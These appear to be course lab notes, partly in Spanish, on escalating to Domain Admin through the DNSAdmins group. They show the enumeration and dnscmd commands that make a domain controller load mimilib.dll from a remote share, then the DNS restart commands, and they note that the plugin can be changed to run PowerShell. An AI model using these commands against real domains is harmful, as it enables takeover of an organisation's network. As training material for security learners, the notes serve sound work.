# 19. Domain Privilege Escalation DNSAdmin ## Priv Esc - DNSAdmins - It is possible for the members of the DNSAdmins group to load arbitrary - In case the DC also serves as DNS, this will provide us escalation to DA - Need privileges to restart the DNS service ### Enumerate the members of the DNSAdmins group using PowerView ``` Get-NetGroupMember -GroupName "DNSAdmins" ``` ![](https://i.imgur.com/di55kHa.png) ### Using ActiveDirectory module ### Once we know the members of the DNSAdmins group, we need to compromise a member. We already hve hash of srvadmin because of derivate local admin. ### From the privileges of DNSAdmins group member, configure DLL using dnscmd.exe(need RSAT DNS): ``` dnscmd dcorp-dc /config /serverlevelplugindll \\172.16.50.100\dll\mimilib.dll ``` ![](https://i.imgur.com/sO69yAz.png) Obs:Mimikatz tiene una función `mimilib` que permite que se use como complemento válido. Recordar los permisos del recurso a compartir: - Click en la carpeta que contiene `mimilib.dll` - Properties - Sharing - Share - Read/Write ![](https://i.imgur.com/HaneV1W.png) Para usar lo anterior, necesitamos reiniciar el servicio: ``` sc \\dcorp-dc stop dns sc \\dcorp-dc start dns ``` ![](https://i.imgur.com/PYz4lm7.png) Y se puede comprobar que hay un registro nuevo, se ha cargado un dll del complemento del servidor DNS en el servidor: ![](https://i.imgur.com/ROMm2ax.png) `mimilib.dll` proporciona un nuevo archivo llamado `kiwidns` en la carpeta system32, todas las solicitudes dns enviadas a estos dominios se registrarán aquí. Además no solo se limita a guardar los logs, sino también puede ejecutar una powershell modificando el `kdns.c`: ![](https://i.imgur.com/16p7ZXj.png)